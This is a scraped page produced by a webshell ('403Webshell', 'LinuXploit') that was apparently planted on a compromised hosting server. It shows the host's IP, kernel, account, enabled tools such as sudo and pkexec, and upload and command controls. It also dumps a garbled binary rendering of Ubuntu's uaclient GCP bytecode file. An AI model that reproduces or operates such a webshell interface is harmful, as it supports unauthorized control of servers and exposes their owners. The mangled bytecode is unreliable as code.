403Webshell
Server IP : 104.21.4.30  /  Your IP : 104.23.197.109
Web Server : Apache
System : Linux keen-cori.18-142-40-148.plesk.page 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 06:59:36 UTC 2025 x86_64
User : simottodesign.com_2tntp341vs7 ( 10011)
PHP Version : 8.3.31
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/uaclient/clouds/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/uaclient/clouds/__pycache__/gcp.cpython-38.pyc
U

2�dt�@s�ddlZddlZddlZddlZddlmZmZmZmZddl	m
Z
mZmZm
Z
mZddlmZe�e�e��ZdZdZdZdZd	Zd
Zddd
dd�ZGdd�de�ZdS)�N)�Any�Dict�List�Optional)�
exceptions�http�messages�system�util)�AutoAttachCloudInstancez�http://metadata/computeMetadata/v1/instance/service-accounts/default/identity?audience=contracts.canonical.com&format=full&licenses=TRUEzThttp://metadata.google.internal/computeMetadata/v1/instance/licenses/?recursive=truez&wait_for_change=truez&last_etag={etag}z/sys/class/dmi/id/product_namezGoogle Compute EngineZ8045211386737108299Z6022427724719891830Z599959289349842382Z2592866803419978320)ZxenialZbionicZfocalZjammyc@s�eZdZdd�Zeejejdddgd�e	e
efd�dd���Zee
d�d	d
��Z
eed�dd��Zee
d�d
d�Zed�dd�Zeed�dd�ZdS)�UAAutoAttachGCPInstancecCs
d|_dS)N��etag��self�r�5/usr/lib/python3/dist-packages/uaclient/clouds/gcp.py�__init__$sz UAAutoAttachGCPInstance.__init__g�?�)Zretry_sleeps)�returncCs�tjtddidd�}|jdkr(d|jiS|j�d�}|r<|n|j}d}|rnd|��krntj	j
j|d	�}tj	j}t
j|||jd
��dS)N�Metadata-Flavor�Googler)�headersZtimeout���
identityTokenZerror_descriptionzservice account)Z	error_msg)�msg�msg_code�code)r�readurl�	TOKEN_URLr�bodyZ	json_dict�get�lowerrZ"GCP_SERVICE_ACCT_NOT_ENABLED_ERRORr�format�namer�GCPProAccountError)r�responseZ
error_descrrrrr�identity_doc+s(�

��z$UAAutoAttachGCPInstance.identity_doccCsdS)NZgcprrrrr�
cloud_type@sz"UAAutoAttachGCPInstance.cloud_typecCs*tj�t�r&t�t�}t|��kr&dSdS)z$This machine is a viable GCPInstanceTF)�os�path�exists�DMI_PRODUCT_NAMEr	Z	load_file�GCP_PRODUCT_NAME�strip)rZproduct_namerrr�	is_viableDs

z!UAAutoAttachGCPInstance.is_viablecCsN|jd}t�|�d�dd�}t�|�d��}|�di��di��dg�S)	z�Get a list of licenses from the GCP metadata.

        Instance identity token (jwt) carries a list of licenses
        associated with the instance itself.

        Returns an empty list if licenses are not present in the metadata.
        r�.rz===zutf-8ZgoogleZcompute_engineZ
license_id)r'�base64Zurlsafe_b64decode�split�json�loads�decoder!)r�tokenZidentityZ
identity_dictrrr�get_licenses_from_identityNs
���z2UAAutoAttachGCPInstance.get_licenses_from_identitycCs$t��j}|tkr t�d�dSdS)Nz0This series isn't supported for GCP auto-attach.FT)r	�get_release_info�series�GCP_LICENSES�LOG�info)rr9rrr�should_poll_for_pro_license_s


z3UAAutoAttachGCPInstance.should_poll_for_pro_license)�wait_for_changercCs�t}|r(|t7}|jr(|tj|jd�7}tj|ddid�}|jdkrzdd�|jD�}|j	�
d�|_t��j
}t�
|�|kSt�|j�|jd	kr�t���nt���dS)
Nr
rr)rrcSsg|]}|d�qS)�idr)�.0�licenserrr�
<listcomp>pszBUAAutoAttachGCPInstance.is_pro_license_present.<locals>.<listcomp>ri�)�LICENSES_URL�WAIT_FOR_CHANGEr�	LAST_ETAGr#rrrZ	json_listrr!r	r8r9r:r;�errorr rZCancelProLicensePollingZDelayProLicensePolling)rr>Zurlr&Zlicense_idsr9rrr�is_pro_license_presentfs



z.UAAutoAttachGCPInstance.is_pro_license_presentN)�__name__�
__module__�__qualname__r�propertyr
Zretryrr%r�strrr'r(�boolr/rr7r=rGrrrrr#s	r)r1r3Zloggingr)�typingrrrrZuaclientrrrr	r
Zuaclient.cloudsrZ	getLoggerZreplace_top_level_logger_namerHr;rrCrDrEr,r-r:rrrrr�<module>s*���

Youez - 2016 - github.com/yon3zu
LinuXploit